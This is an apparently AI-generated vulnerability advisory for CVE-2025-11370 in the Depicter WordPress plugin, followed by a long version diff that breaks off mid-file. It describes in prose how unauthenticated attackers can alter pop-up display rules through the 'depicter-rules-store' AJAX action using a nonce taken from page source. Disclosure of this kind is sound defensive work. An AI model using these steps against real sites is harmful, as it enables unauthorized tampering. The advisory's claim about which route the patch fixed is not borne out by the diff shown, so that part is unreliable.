Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-11370: Depicter <= 4.0.7 – Missing Authorization to Unauthenticated Display Rule Updates (depicter)

Plugin depicter
Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 4.0.7
Patched Version 4.7.0
Disclosed January 4, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-11370:
The Depicter WordPress plugin up to version 4.0.7 contains a missing authorization vulnerability in its RulesAjaxController::store() function. This flaw allows unauthenticated attackers to modify pop-up display rules, potentially altering when and where marketing pop-ups appear on affected websites. The vulnerability stems from improper access control on an AJAX endpoint.

Root Cause:
The vulnerability exists because the ‘store’ method in the RulesAjaxController class lacks proper capability checks. The AJAX route for the ‘depicter-rules-store’ action is defined in depicter/app/routes/ajax.php without any authorization middleware. The route handler ‘RulesAjaxController@store’ processes POST requests to update display rules. Atomic Edge research identified that the route definition at line 578 in the vulnerable version contains no ‘userCan’ or similar middleware, unlike other sensitive endpoints in the same file that include ‘userCan:manage_depicter’ or ‘userCan:edit_depicter’ checks.

Exploitation:
Attackers can exploit this vulnerability by sending a POST request to /wp-admin/admin-ajax.php with the ‘action’ parameter set to ‘depicter-rules-store’. The request must include a valid nonce token obtained from the site, which is required by the ‘csrf-api:depicter-dashboard|depicter-editor’ middleware. However, the nonce requirement does not prevent unauthenticated exploitation since nonces are often exposed in page source code. The payload should contain rule data in the request body, allowing modification of display conditions for pop-ups and sliders.

Patch Analysis:
The patch adds authorization middleware to the vulnerable route. In the fixed version at line 578 of depicter/app/routes/ajax.php, the route definition now includes ‘userCan:edit_depicter’ middleware: ‘middleware([‘csrf-api:depicter-dashboard|depicter-editor’, ‘userCan:edit_depicter’])’. This change ensures that only users with the ‘edit_depicter’ capability can access the endpoint. The patch follows the same pattern used for other sensitive endpoints in the plugin, such as the MailChimp integration routes added in the same diff.

Impact:
Successful exploitation allows unauthenticated attackers to modify display rules for Depicter pop-ups and sliders. Attackers could disable pop-ups entirely, change display conditions to show pop-ups at inappropriate times, or alter targeting rules to display content to unintended audiences. While this vulnerability does not directly enable remote code execution or data theft, it allows unauthorized modification of website front-end behavior which could impact user experience, conversion rates, and marketing effectiveness.

Differential between vulnerable and patched code

Code Diff
--- a/depicter/app/config.php
+++ b/depicter/app/config.php
@@ -36,6 +36,7 @@
 		DepicterDashboardDashboardServiceProvider::class,
 		DepicterRulesServiceProvider::class,
 		DepicterFrontServiceProvider::class,
+		DepicterIntegrationServiceProvider::class,
 		DepicterViewViewServiceProvider::class,
 		DepicterWordPressRestApiServiceProvider::class,
 		DepicterWordPressAdminServiceProvider::class,
--- a/depicter/app/requirement.php
+++ b/depicter/app/requirement.php
@@ -28,6 +28,7 @@
 		add_action(
 			'admin_notices',
 			function () use ( $name, $min ) {
+				/* translators: 1: name of plugin, 2: minimum php version required, 3: current php version */
 				$message = __( '%1$s plugin requires PHP version %2$s but current version is %3$s. Please contact your host provider and ask them to upgrade PHP version.', 'depicter' );
 				?>
 				<div class="notice notice-error">
@@ -73,6 +74,7 @@
 				add_action(
 					'admin_notices',
 					function () use ( $name ) {
+						/* translators: 1: depicter plugin name */
 						$message = __( 'Your website uses OpCache but requires the "opcache.save_comments" option enabled for %1$s plugin to work correctly. Please ask your hosting provider to turn on this setting.', 'depicter' );
 ?>
 	<div class="notice notice-error">
--- a/depicter/app/routes/ajax.php
+++ b/depicter/app/routes/ajax.php
@@ -505,12 +505,12 @@
 // ========================================================
 Depicter::route()->methods(['GET'])
     ->where('ajax', 'depicter-lead-index', true, true)
-    ->middleware('csrf-api:depicter-dashboard')
+    ->middleware('csrf-api:depicter-dashboard|depicter-editor')
     ->handle('LeadsAjaxController@index');

 Depicter::route()->methods(['GET'])
         ->where('ajax', 'depicter-lead-list', true, true)
-        ->middleware('csrf-api:depicter-dashboard')
+        ->middleware('csrf-api:depicter-dashboard|depicter-editor')
         ->handle('LeadsAjaxController@list');

 Depicter::route()->methods(['POST'])
@@ -519,12 +519,12 @@

 Depicter::route()->methods(['POST'])
     ->where('ajax', 'depicter-lead-update', true, true)
-    ->middleware('csrf-api:depicter-dashboard')
+    ->middleware('csrf-api:depicter-dashboard|depicter-editor')
     ->handle('LeadsAjaxController@update');

 Depicter::route()->methods(['POST'])
     ->where('ajax', 'depicter-lead-delete', true, true)
-    ->middleware('csrf-api:depicter-dashboard')
+    ->middleware('csrf-api:depicter-dashboard|depicter-editor')
     ->handle('LeadsAjaxController@delete');

 Depicter::route()->methods(['POST'])
@@ -533,7 +533,7 @@

 Depicter::route()->methods(['GET'])
         ->where('ajax', 'depicter-lead-export', true, true)
-        ->middleware('csrf-api:depicter-dashboard')
+        ->middleware('csrf-api:depicter-dashboard|depicter-editor')
         ->handle('LeadsAjaxController@export');

 // Depicter Options
@@ -585,3 +585,30 @@
 Depicter::route()->methods(['POST'])
         ->where('ajax', 'depicter-wc-add-to-cart', true, true)
         ->handle('WooCommerceAjaxController@addToCart');
+
+// Integrations
+// ===========================================================
+Depicter::route()->methods(['GET'])
+        ->where('ajax', 'depicter-integration-mailchimp-api-keys', true, true)
+        ->middleware(['csrf-api:depicter-editor', 'userCan:manage_depicter'])
+        ->handle('MailChimpIntegrationAjaxController@getApiKeys');
+
+Depicter::route()->methods(['POST'])
+        ->where('ajax', 'depicter-integration-mailchimp-api-keys', true, true)
+        ->middleware(['csrf-api:depicter-editor', 'userCan:edit_depicter'])
+        ->handle('MailChimpIntegrationAjaxController@saveApiKey');
+
+Depicter::route()->methods(['POST'])
+        ->where('ajax', 'depicter-integration-mailchimp-delete-api-key', true, true)
+        ->middleware(['csrf-api:depicter-editor', 'userCan:edit_depicter'])
+        ->handle('MailChimpIntegrationAjaxController@deleteApiKey');
+
+Depicter::route()->methods(['GET'])
+        ->where('ajax', 'depicter-integration-mailchimp-audience-list', true, true)
+        ->middleware('csrf-api:depicter-editor')
+        ->handle('MailChimpIntegrationAjaxController@audienceLists');
+
+Depicter::route()->methods(['GET'])
+        ->where('ajax', 'depicter-integration-mailchimp-audience-fields', true, true)
+        ->middleware('csrf-api:depicter-editor')
+        ->handle('MailChimpIntegrationAjaxController@audienceFields');
--- a/depicter/app/src/Application/AppMixin.php
+++ b/depicter/app/src/Application/AppMixin.php
@@ -43,6 +43,9 @@
 use WPEmergeAppCoreAppCoreAppCore;
 use DepicterServicesGoogleFontsService;
 use DepicterRulesConditionConditions;
+use DepicterIntegrationManager as IntegrationManager;
+use DepicterDatabaseRepositoryQueueJobRepository;
+use DepicterServicesQueueService;

 /**
  * "@mixin" annotation for better IDE support.
@@ -261,4 +264,16 @@
      * @return SettingsManagerService
      */
     public static function settings(): SettingsManagerService {}
+
+	public static function integration(): IntegrationManager {}
+
+    /**
+     * @return QueueJobRepository
+     */
+    public static function queueJobsRepository(): QueueJobRepository {}
+
+    /**
+     * @return QueueService
+     */
+    public static function queue(): QueueService {}
 }
--- a/depicter/app/src/Controllers/Ajax/AIWizardController.php
+++ b/depicter/app/src/Controllers/Ajax/AIWizardController.php
@@ -101,7 +101,7 @@
 		}

 		try {
-			$response = Depicter::remote()->post( 'v1/ai/text/wizard/complete', [
+			$response = Depicter::remote()->post( 'v2/ai/text/wizard/complete', [
 				'form_params' => $args
 			]);
 			$result = JSON::decode( $response->getBody(), true );
--- a/depicter/app/src/Controllers/Ajax/CuratedAPIAjaxController.php
+++ b/depicter/app/src/Controllers/Ajax/CuratedAPIAjaxController.php
@@ -65,7 +65,6 @@
 		$perpage  = !empty( $request->query('perpage') ) ? Sanitize::int( $request->query('perpage') ) : 20;
 		$category = !empty( $request->query('category') ) ? Sanitize::textfield( $request->query('category') ) : '';
 		$search   = !empty( $request->query('s') ) ? Sanitize::textfield( $request->query('s') ) : '';
-		$version  = !empty( $request->query('v') ) ? Sanitize::textfield( $request->query('v') ) : '1';
 		$from     = !empty( $request->query('from') ) ? Sanitize::textfield( $request->query('from') ) : 'website';
 		$directory= !empty( $request->query('directory') ) ? Sanitize::textfield( $request->query('directory') ) : 2;

@@ -74,7 +73,6 @@
 			'perpage'   => $perpage,
 			'category'  => $category,
 			's'         => $search,
-			'v'         => $version,
 			'from'      => $from,
 			'directory' => $directory
 		];
@@ -112,7 +110,6 @@
 		$perpage  = !empty( $request->query('perpage') ) ? Sanitize::int( $request->query('perpage') ) : 20;
 		$group = !empty( $request->query('group') ) ? Sanitize::textfield( $request->query('group') ) : '';
 		$search   = !empty( $request->query('s') ) ? Sanitize::textfield( $request->query('s') ) : '';
-		$version  = !empty( $request->query('v') ) ? Sanitize::textfield( $request->query('v') ) : '1';
 		$from     = !empty( $request->query('from') ) ? Sanitize::textfield( $request->query('from') ) : 'website';
 		$directory= !empty( $request->query('directory') ) ? Sanitize::textfield( $request->query('directory') ) : 2;
 		$flush = !empty( $request->query('flush') );
@@ -122,7 +119,6 @@
 			'perpage'   => $perpage,
 			'group'  	=> $group,
 			's'         => $search,
-			'v'         => $version,
 			'from'      => $from,
 			'flush'		=> $flush,
 			'directory' => $directory
--- a/depicter/app/src/Controllers/Ajax/DashboardAjaxController.php
+++ b/depicter/app/src/Controllers/Ajax/DashboardAjaxController.php
@@ -29,6 +29,7 @@
 			's' => !empty( $request->query('s' ) ) ? Sanitize::textfield( $request->query('s') ) : '',
 			'has' => !empty( $request->query('has' ) ) ? Sanitize::textfield( $request->query('has') ) : '',
 			'types' => !empty( $request->query('types' ) ) ? Sanitize::textfield( $request->query('types') ) : '',
+			'status' => !empty( $request->query('status' ) ) ? Sanitize::textfield( $request->query('status') ) : '',
 		];

 		$args['has'] = $args['has'] ? explode(',', $args['has'] ) : '';
@@ -38,6 +39,8 @@

 		return Depicter::json([
 			'hasMore' => isset( $results['numberOfPages'] ) && $results['numberOfPages'] > $results['page'],
+			'total' => $results['total'],
+			'published' => Depicter::documentRepository()->getNumberOfPublishedDocuments(),
 			'hits'    => Arr::camelizeKeys( $hits, '_', [], true )
 		])->withStatus(200);
 	}
--- a/depicter/app/src/Controllers/Ajax/EditorAjaxController.php
+++ b/depicter/app/src/Controllers/Ajax/EditorAjaxController.php
@@ -99,6 +99,10 @@
                     throw new Exception(esc_html__('Media files cannot be published due to lack of proper file permissions for uploads directory.', 'depicter'));
                 }

+                if ( ! Depicter::authorization()->userHasPublishQuota() ) {
+                    throw new Exception(esc_html__('You’ve reached your limit. On the free plan, you can publish up to 2 projects. To publish more, you can unpublish an existing project, or upgrade to PRO for unlimited publishing.', 'depicter'));
+                }
+
                 $editorRawData = $properties['editor'] ?? Depicter::document()->getEditorRawData($id);

                 // Download media if document published
--- a/depicter/app/src/Controllers/Ajax/ImportAjaxController.php
+++ b/depicter/app/src/Controllers/Ajax/ImportAjaxController.php
@@ -26,7 +26,8 @@
 		if ( $zipFile->getError() ) {
 			return Depicter::json([
                    'errors'        => [
-                       sprintf( __( 'Cannot upload the file, because max permitted file upload size is %s.', 'depicter' ), ini_get('upload_max_filesize') )
+						/* translators: maximum file size allowed to upload */
+                    	sprintf( __( 'Cannot upload the file, because max permitted file upload size is %s.', 'depicter' ), ini_get('upload_max_filesize') )
                    ]
 			]);
 		}
--- a/depicter/app/src/Controllers/Ajax/MailChimpIntegrationAjaxController.php
+++ b/depicter/app/src/Controllers/Ajax/MailChimpIntegrationAjaxController.php
@@ -0,0 +1,142 @@
+<?php
+
+namespace DepicterControllersAjax;
+
+use AvertaWordPressUtilityJSON;
+use Depicter;
+use DepicterUtilitySanitize;
+use PsrHttpMessageResponseInterface;
+use WPEmergeRequestsRequestInterface;
+
+class MailChimpIntegrationAjaxController
+{
+
+    /**
+     * Get API keys
+     *
+     * @param RequestInterface $request
+     * @param $view
+     *
+     * @return ResponseInterface
+     */
+    public function getApiKeys( RequestInterface $request, $view ): ResponseInterface {
+        return Depicter::json(Depicter::options()->get('integration.mailchimp.api_keys', []));
+    }
+
+    /**
+     * Save API keys
+     *
+     * @param RequestInterface $request
+     * @param $view
+     *
+     * @return ResponseInterface
+     */
+    public function saveApiKey( RequestInterface $request, $view): ResponseInterface
+    {
+        $apiKey = Sanitize::textfield( $request->body( 'api_key', '') );
+        $apiKey = trim($apiKey);
+
+        if ( empty( $apiKey ) ) {
+            return Depicter::json([
+                'errors' => [ __( 'API Key is required.', 'depicter' ) ]
+            ])->withStatus(400);
+        }
+
+        $apiKeys = Depicter::options()->get('integration.mailchimp.api_keys', []);
+        if ( ! in_array( $apiKey, $apiKeys ) ) {
+            $apiKeys[] = $apiKey;
+        }
+
+        // return true only if the api key is changed or new api key provided
+        Depicter::options()->set('integration.mailchimp.api_keys', $apiKeys );
+
+        return Depicter::json([
+            'success' => true
+        ])->withStatus(200);
+    }
+
+    /**
+     * Delete API key
+     *
+     * @param RequestInterface $request
+     * @param $view
+     *
+     * @return ResponseInterface
+     */
+    public function deleteApiKey( RequestInterface $request, $view): ResponseInterface
+    {
+        $apiKey = Sanitize::textfield( $request->body( 'api_key', '') );
+        $apiKey = trim($apiKey);
+
+        if ( empty( $apiKey ) ) {
+            return Depicter::json([
+                'errors' => [ __( 'API Key is required.', 'depicter' ) ]
+            ])->withStatus(400);
+        }
+
+        $apiKeys = Depicter::options()->get('integration.mailchimp.api_keys', []);
+        if ( in_array( $apiKey, $apiKeys ) ) {
+            $apiKeys = array_diff($apiKeys, [$apiKey]);
+            Depicter::options()->set('integration.mailchimp.api_keys', array_values($apiKeys) );
+
+            return Depicter::json([
+                'success' => true
+            ])->withStatus(200);
+        }
+
+        return Depicter::json([
+            'errors' => [ __( 'API Key not found.', 'depicter' ) ]
+        ])->withStatus(404);
+    }
+
+    /**
+     * Retrieves the list of audiences from provided account
+     *
+     * @param  RequestInterface  $request
+     * @param                    $view
+     *
+     * @return ResponseInterface
+     */
+    public function audienceLists( RequestInterface $request, $view ): ResponseInterface
+    {
+        $apiKey = Sanitize::textfield( $request->query( 'api_key', '') );
+        if ( empty( $apiKey ) ) {
+            return Depicter::json([
+                'errors' => [ __( 'API Key is required.', 'depicter' ) ]
+            ])->withStatus(400);
+        }
+
+        return Depicter::json(
+            Depicter::integration()->mailchimp()->getAudienceList( $apiKey )
+        );
+    }
+
+    /**
+     * Retrieves the list of fields from a provided audience
+     *
+     * @param RequestInterface $request
+     * @param $view
+     *
+     * @return ResponseInterface
+     */
+    public function audienceFields( RequestInterface $request, $view ): ResponseInterface
+    {
+        $apiKey = Sanitize::textfield( $request->query( 'api_key', '') );
+        if ( empty( $apiKey ) ) {
+            return Depicter::json([
+                'errors' => [ __( 'API Key is required.', 'depicter' ) ]
+            ])->withStatus(400);
+        }
+
+        $audienceID = Sanitize::textfield( $request->query( 'audience_id', '') );
+        if ( empty( $audienceID ) ) {
+            return Depicter::json([
+                'errors' => [ __( 'Audience ID is required.', 'depicter' ) ]
+            ])->withStatus(400);
+        }
+
+        return Depicter::json(
+            Depicter::integration()->mailchimp()->getListFields( $apiKey, $audienceID )
+        );
+    }
+}
--- a/depicter/app/src/Controllers/Ajax/OptionsAjaxController.php
+++ b/depicter/app/src/Controllers/Ajax/OptionsAjaxController.php
@@ -106,6 +106,7 @@
 		}

 		return Depicter::json([
+			/* translators: failed option keys while saving */
 			'errors' => [ sprintf( __( 'Saving the following options failed: %s. Please try again!', 'depicter' ) , implode( ',', $failedJobs ) ) ]
 		])->withStatus(400);
 	}
--- a/depicter/app/src/Dashboard/DashboardPage.php
+++ b/depicter/app/src/Dashboard/DashboardPage.php
@@ -34,13 +34,19 @@
 	 * @return void
 	 */
 	public function registerPage() {
+
+        $depicterMenuTitle = __( 'Depicter', 'depicter' );
+        $notifNumber        = $this->countOfUnreadNotifications();
+        $depicterMenuTitle = $notifNumber ? $depicterMenuTitle . " <span class='awaiting-mod depicter-notif-number'>" . $notifNumber . "</span>" : $depicterMenuTitle;
+
 		$this->hook_suffix = add_menu_page(
 			__('Depicter', 'depicter'),
-			__('Depicter', 'depicter'),
+			$depicterMenuTitle,
 			'access_depicter',
 			self::PAGE_ID,
 			[ $this, 'render' ], // called to output the content for this page
-			Depicter::core()->assets()->getUrl() . '/resources/images/svg/wp-logo.svg'
+			Depicter::core()->assets()->getUrl() . '/resources/images/svg/wp-logo.svg',
+			58
 		);

 		add_submenu_page(
@@ -53,15 +59,6 @@

 		add_submenu_page(
 			self::PAGE_ID,
-			__( 'Settings', 'depicter' ),
-			__( 'Settings', 'depicter' ),
-			'access_depicter',
-			'depicter-settings',
-			[ $this, 'printSettingsPage' ]
-		);
-
-		add_submenu_page(
-			self::PAGE_ID,
 			__( 'Support', 'depicter' ),
 			__( 'Support', 'depicter' ),
 			'access_depicter',
@@ -127,36 +124,19 @@
 	 * @param string $hook_suffix
 	 */
 	public function enqueueScripts( $hook_suffix = '' ){
-
-		if( $hook_suffix !== $this->hook_suffix ){
-
-			if ( !empty( $_GET['page'] ) && $_GET['page'] == 'depicter-settings' ) {
-				Depicter::core()->assets()->enqueueScript(
-					'depicter-admin',
-					Depicter::core()->assets()->getUrl() . '/resources/scripts/admin/index.js',
-					['jquery'],
-					true
-				);
-
-				wp_localize_script( 'depicter-admin', 'depicterParams', [
-					'ajaxUrl' => admin_url('admin-ajax.php'),
-					'token' => Depicter::csrf()->getToken( DepicterSecurityCSRF::DASHBOARD_ACTION ),
-				]);
-			}
-
-			return;
-		}
-
+
 		// Enqueue scripts.
-		Depicter::core()->assets()->enqueueScript(
+		Depicter::core()->assets()->enqueueScriptModule(
 			'depicter--dashboard',
-			Depicter::core()->assets()->getUrl() . '/resources/scripts/dashboard/depicter-dashboard.js',
-			[],
-			true
+			Depicter::core()->assets()->getUrl() . '/resources/scripts/dashboard/depicter-dashboard.js'
 		);

 		// Enqueue styles.
 		Depicter::core()->assets()->enqueueStyle(
+			'depicter-dashboard-styles',
+			Depicter::core()->assets()->getUrl() . '/resources/scripts/dashboard/depicter-dashboard-styles.css'
+		);
+		Depicter::core()->assets()->enqueueStyle(
 			'depicter-dashboard',
 			Depicter::core()->assets()->getUrl() . '/resources/styles/dashboard/index.css'
 		);
@@ -190,7 +170,7 @@
 		$refreshTokenPayload = Extract::JWTPayload( $refreshToken );
 		$displayReviewNotice = !empty( $refreshTokenPayload['ict'] ) && ( time() - Data::cast( $refreshTokenPayload['ict'], 'int' ) > 5 * DAY_IN_SECONDS );

-		wp_add_inline_script('depicter--dashboard', 'window.depicterEnv = '. JSON::encode(
+		wp_print_inline_script_tag('window.depicterEnv = '. JSON::encode(
 		    [
 				'wpVersion'   => $wp_version,
 				"scriptsPath" => Depicter::core()->assets()->getUrl(). '/resources/scripts/dashboard/',
@@ -244,12 +224,9 @@
 				],
 				'display' => [
                     'reviewNotice' => $displayReviewNotice
-                ],
-                'routes'=>[
-                    'settingPage' => Escape::url( add_query_arg( [ 'page' => 'depicter-settings', ], self_admin_url( 'admin.php' ) ) )
                 ]
 			]
-		), 'before' );
+		) );

 	}

@@ -263,9 +240,51 @@
 			UserAPIService::renewTokens();
 		}
 	}
+
+    public function get_notifications() {
+        if ( false === $notifications = Depicter::cache()->get( 'retrievedNotifications' ) ) {
+            try{
+                $response = Depicter::remote()->get( 'v1/core/notifications', [
+                    'query' => [
+                        'page' => 1,
+                        'perPage' => 20
+                    ]
+                ]);
+
+                if ($response->getStatusCode() === 200) {
+                    $notifications = $response->getBody()->getContents();
+                    Depicter::cache()->set( 'retrievedNotifications', $notifications, 12 * HOUR_IN_SECONDS );
+                    return JSON::decode( $notifications, true );
+                }
+            } catch ( GuzzleException $e ){
+            }
+
+            return false;
+
+        }
+
+        return JSON::decode( $notifications, true );
+    }
+
+    protected function countOfUnreadNotifications(): ?int
+    {
+
+        if ( false === $notifications = $this->get_notifications() ) {
+            return 0;
+        }
+
+        if ( false === $lastSeenDate = Depicter::options()->get('lastSeenNotificationDate', false) ) {
+            return count( $notifications['hits'] );
+        }
+
+        $unreadNotifications = 0;
+        $lastSeenDate = strtotime( $lastSeenDate );
+        foreach ( $notifications['hits'] as $notification ) {
+            if ( strtotime( $notification['date'] ) > $lastSeenDate ) {
+                $unreadNotifications++;
+            }
+        }

-	public function printSettingsPage() {
-		Depicter::resolve('depicter.dashboard.settings')->render();
-	}
-
+        return $unreadNotifications;
+    }
 }
--- a/depicter/app/src/Dashboard/DashboardServiceProvider.php
+++ b/depicter/app/src/Dashboard/DashboardServiceProvider.php
@@ -18,10 +18,6 @@
 		$container[ 'depicter.dashboard.page' ] = function () {
 			return new DashboardPage();
 		};
-
-		$container[ 'depicter.dashboard.settings' ] = function () {
-			return new DashboardSettings();
-		};
 	}

 	/**
@@ -29,7 +25,6 @@
 	 */
 	public function bootstrap( $container ) {
 		Depicter::resolve('depicter.dashboard.page')->bootstrap();
-		Depicter::resolve('depicter.dashboard.settings');
 	}

 }
--- a/depicter/app/src/Dashboard/DashboardSettings.php
+++ b/depicter/app/src/Dashboard/DashboardSettings.php
@@ -1,158 +0,0 @@
-<?php
-namespace DepicterDashboard;
-
-use DepicterJeffreyvrWPSettingsError;
-use DepicterJeffreyvrWPSettingsFlash;
-use DepicterWordPressSettingsSettings;
-
-// Exit if accessed directly.
-if ( ! defined( 'ABSPATH' ) ) {
-	exit;
-}
-
-class DashboardSettings {
-
-	const PAGE_ID = 'depicter-settings';
-
-	public $settings = null;
-
-	public function __construct() {
-		if ( ! empty( $_GET['page'] ) && $_GET['page'] == 'depicter-settings') {
-			$this->settingsPage();
-
-			$this->settings->errors = new Error( $this->settings );
-			$this->settings->flash = new Flash( $this->settings );
-
-			add_action('admin_head', [$this->settings, 'styling']);
-			add_action('admin_init', [$this->settings, 'save']);
-		}
-	}
-
-	/**
-	 * Settings page markup
-	 *
-	 * @return void
-	 */
-	public function settingsPage() {
-
-		$settings = new Settings(__('Settings', 'depicter'), 'depicter-settings');
-		$settings->set_option_name('depicter_options');
-		$settings->set_menu_parent_slug( 'depicter-dashboard' );
-
-		$settings->add_tab(__( 'General', 'depicter' ));
-		$settings->add_section( __( 'General Settings', 'depicter' ) );
-
-		$settings->add_option('nonce',[
-			'action' => 'depicter-settings',
-			'name' => '_depicter_settings_nonce'
-		]);
-
-		$settings->add_option('select', [
-			'name' => 'use_google_fonts',
-			'label' => __( 'Google Fonts', 'depicter' ),
-			'options' => [
-				'on' => __( 'Default (Enable)', 'depicter' ),
-				'off' => __( 'Disable', 'depicter' ),
-				'editor_only' => __( 'Load in Editor Only', 'depicter' ),
-				'save_locally' => __( 'Save Locally', 'depicter' )
-			],
-			'description' => __( 'Enable, disable, or save Google Fonts locally on your host.', 'depicter' )
-		]);
-
-		$settings->add_option('select', [
-			'name' => 'resource_preloading',
-			'label' => __( 'Resource Preloading', 'depicter' ),
-			'options' => [
-				'on' => __( 'Default (Enable)', 'depicter' ),
-				'off' => __( 'Disable', 'depicter' )
-			],
-			'description' => __( 'Enable or disable preloading of website resources (images and CSS) for faster page load speed.', 'depicter' )
-		]);
-
-		$settings->add_option('select', [
-			'name' => 'allow_unfiltered_data_upload',
-			'label' => __( 'Allow SVG & JSON Upload?', 'depicter' ),
-			'options' => [
-				'off' => __( 'Disable', 'depicter' ),
-				'on'  => __( 'Enable', 'depicter' )
-			],
-			'description' => __( 'Attention! Allowing uploads of SVG or JSON files is a potential security risk.<br/>Although Depicter sanitizes such files, we recommend that you only enable this feature if you understand the security risks involved.', 'depicter' ),
-		]);
-
-		$settings->add_option('button', [
-			'name' => 'regenerate_css_flush_cache',
-			'label' => __( 'Regenerate CSS & Flush Cache', 'depicter' ),
-			'button_text' => __( 'Regenerate CSS & Flush Cache', 'depicter' ),
-			'class' => 'button button-secondary depicter-flush-cache',
-			'icon' => '<span class="dashicons dashicons-update" style="line-height:28px; margin-right:8px; height:28px;"></span>'
-		]);
-
-		$settings->add_option('checkbox', [
-			'name' => 'always_load_assets',
-			'label' => __( 'Load assets on all pages?', 'depicter' ),
-			'description' => "<br><br>". __( 'By default, Depicter will load corresponding JavaScript and CSS files on demand. but if you need to load assets on all pages, check this option. <br>(For example, if you plan to load Depicter via Ajax, you need to enable this option)', 'depicter' ),
-		]);
-
-		if ( Depicter::auth()->isPaid() ) {
-
-			$settings->add_tab(__( 'CAPTCHA', 'depicter' ));
-			$settings->add_section( __( 'Google Recaptcha V3', 'depicter' ) );
-
-			$settings->add_option('nonce',[
-				'action' => 'depicter-settings',
-				'name' => '_depicter_settings_nonce'
-			]);
-
-			$settings->add_option('text', [
-				'name' => 'google_recaptcha_client_key',
-				'label' => __( 'Google Recaptcha (v3) Client key', 'depicter' ),
-				'description' => "",
-			]);
-
-			$settings->add_option('password', [
-				'name' => 'google_recaptcha_secret_key',
-				'label' => __( 'Google Recaptcha (v3) Secret key', 'depicter' ),
-				'description' => "",
-			]);
-
-			$settings->add_option('number', [
-				'name' => 'google_recaptcha_score_threshold',
-				'label' => __( 'Score Threshold', 'depicter' ),
-				'default' => 0.6,
-				'description' => __( 'reCAPTCHA v3 returns a score (1.0 is very likely a good interaction, 0.0 is very likely a bot). If the score less than or equal to this threshold, the form submission will be blocked and the message below will be displayed.', 'depicter' ),
-			]);
-
-			$settings->add_option('textarea', [
-				'name' => 'google_recaptcha_fail_message',
-				'label' => __( 'Fail Message', 'depicter' ),
-				'default' => __('Google reCAPTCHA verification failed, please try again later.', 'depicter' ),
-				'description' => __( 'Displays to users who fail the verification process.', 'depicter'),
-			]);
-
-			$settings->add_tab(__( 'Integrations', 'depicter' ));
-			$settings->add_section( '' );
-
-			$settings->add_option('nonce',[
-				'action' => 'depicter-settings',
-				'name' => '_depicter_settings_nonce'
-			]);
-
-			$settings->add_option('password', [
-				'name' => 'google_places_api_key',
-				'label' => __( 'Google Places Api key', 'depicter' ),
-				'description' => sprintf(
-					__("To fetch and display reviews of a place on your website (Google Reviews), you need to provide %1$s a valid Google Places API key%2$s.", 'depicter' ),
-					'<a href="https://docs.depicter.com/article/290-google-places-api-key" target="_blank">',
-					'</a>'
-				)
-			]);
-		}
-
-		$this->settings = $settings;
-	}
-
-	public function render() {
-
-		$this->settings->render();
-	}
-}
--- a/depicter/app/src/Database/DatabaseServiceProvider.php
+++ b/depicter/app/src/Database/DatabaseServiceProvider.php
@@ -7,6 +7,7 @@
 use DepicterDatabaseRepositoryLeadFieldRepository;
 use DepicterDatabaseRepositoryLeadRepository;
 use DepicterDatabaseRepositoryMetaRepository;
+use DepicterDatabaseRepositoryQueueJobRepository;
 use WPEmergeServiceProvidersServiceProviderInterface;

 /**
@@ -41,11 +42,16 @@
 			return new LeadFieldRepository();
 		};

+        $container[ 'depicter.database.repository.queue.jobs' ] = function () {
+            return new QueueJobRepository();
+        };
+
 		$app = $container[ WPEMERGE_APPLICATION_KEY ];
 		$app->alias( 'documentRepository', 'depicter.database.repository.document' );
 		$app->alias( 'metaRepository', 'depicter.database.repository.meta' );
 		$app->alias( 'leadRepository', 'depicter.database.repository.lead' );
 		$app->alias( 'leadFieldRepository', 'depicter.database.repository.lead.field' );
+        $app->alias( 'queueJobsRepository', 'depicter.database.repository.queue.jobs' );
 	}

 	/**
--- a/depicter/app/src/Database/Entity/QueueJob.php
+++ b/depicter/app/src/Database/Entity/QueueJob.php
@@ -0,0 +1,42 @@
+<?php
+namespace DepicterDatabaseEntity;
+
+use AvertaWordPressDatabaseEntityModel;
+
+class QueueJob extends Model
+{
+	protected $idColumn = 'id';
+
+	/**
+	 * Resource name.
+	 *
+	 * @var string
+	 */
+	protected $resource = 'depicter_queue_jobs';
+
+	/**
+	 * Determines what fields can be saved without be explicitly.
+	 *
+	 * @var array
+	 */
+	protected $builtin = [
+		'attempts',
+		'reserved_at',
+        'available_at',
+		'created_at',
+		'status',
+        'last_error'
+	];
+
+	protected $guard = [ 'id' ];
+
+	protected $format = [
+		'created_at'  => 'currentDateTime',
+		'reserved_at'  => 'currentDateTime',
+        'available_at' => 'currentDateTime',
+	];
+
+	public function currentDateTime() {
+        return gmdate('Y-m-d H:i:s', time());
+    }
+}
--- a/depicter/app/src/Database/Migration.php
+++ b/depicter/app/src/Database/Migration.php
@@ -18,7 +18,7 @@
 	/**
 	 * Current tables migration version
 	 */
-	const MIGRATION_VERSION = "0.4.6";
+	const MIGRATION_VERSION = "0.4.7";

 	/**
 	 * Prefix for version option name
@@ -33,7 +33,7 @@
 	/**
 	* Table names
 	*/
-	protected $table_names = [ 'documents', 'options', 'meta', 'leads', 'lead_fields' ];
+	protected $table_names = [ 'documents', 'options', 'meta', 'leads', 'lead_fields', 'queue_jobs' ];


 	/**
@@ -146,6 +146,26 @@
 		$this->dbDelta( $sql_create_table );
 	}

+    public function create_table_queue_jobs() {
+
+        $sql_create_table = "CREATE TABLE {$this->queue_jobs} (
+            id BIGINT(20) UNSIGNED NOT NULL AUTO_INCREMENT,
+            queue VARCHAR(50) NOT NULL DEFAULT 'default',
+            payload LONGTEXT NOT NULL,
+            attempts TINYINT UNSIGNED NOT NULL DEFAULT 0,
+            reserved_at DATETIME DEFAULT NULL,
+            available_at DATETIME NOT NULL,
+            created_at DATETIME NOT NULL,
+            status VARCHAR(20) NOT NULL DEFAULT 'pending', -- pending, processing, failed, completed
+            last_error TEXT DEFAULT NULL,
+            PRIMARY KEY (id),
+            INDEX (status),
+            INDEX (available_at),
+            INDEX (queue)
+        ) {$this->charset_collate()};n";
+
+        $this->dbDelta($sql_create_table);
+    }
 }


--- a/depicter/app/src/Database/Repository/DocumentRepository.php
+++ b/depicter/app/src/Database/Repository/DocumentRepository.php
@@ -48,7 +48,7 @@
 		if ( $id && $document = $this->document()->findById( $id ) ) {
 			$this->document = $document;
 		}
-
+
 		if( isset( $properties['editor'] ) ){
 			$editor = $properties['editor'];
 			unset( $properties['editor'] );
@@ -261,6 +261,10 @@
 			$documents = $documents->where( 'name', 'like', '%' . $args['s'] . '%' );
 		}

+		if ( !empty( $args['status'] ) ) {
